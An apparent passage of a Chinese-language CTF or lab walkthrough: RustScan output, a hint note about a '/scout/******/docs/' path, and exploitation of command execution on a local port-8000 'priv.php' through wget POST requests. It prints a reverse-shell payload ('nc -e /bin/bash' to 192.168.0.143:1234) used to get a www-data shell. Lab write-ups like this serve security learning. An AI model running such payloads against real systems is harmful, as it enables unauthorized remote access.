[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.

Hi, Telly,
<br>
I just remembered that we had a folder with some important shared documents. The problem is that I don't know wich first path it was in, but I do know the second path. Graphically represented:
<br>
/scout/******/docs/
<br>
With continued gratitude,

J1.

开放了一个8000端口，且提取出来信息，正好我见过，这是brainfuck编码：

存在命令执行！
尝试执行：
1
wget --post-data 'command=whoami' http://127.0.0.1:8000/priv.php -q -o -
-q:
- 这个参数告诉
wget在运行时不要输出任何信息。也就是说，它会在“安静”模式下运行，不显示进度或错误消息。
-O -:
-O参数用于指定输出文件的名称。在这里，
-（一个破折号）是一个特殊值，它告诉wget将输出直接写入标准输出（通常是终端或命令行界面）。这意味着服务器的响应将直接显示在命令行上，而不是保存到文件中。
额，是json格式的：

成功执行了!
切换至www-data
1
wget --post-data='{"command":"nc -e /bin/bash 192.168.0.143 1234"}' http://127.0.0.1:8000/priv.php -q -O -
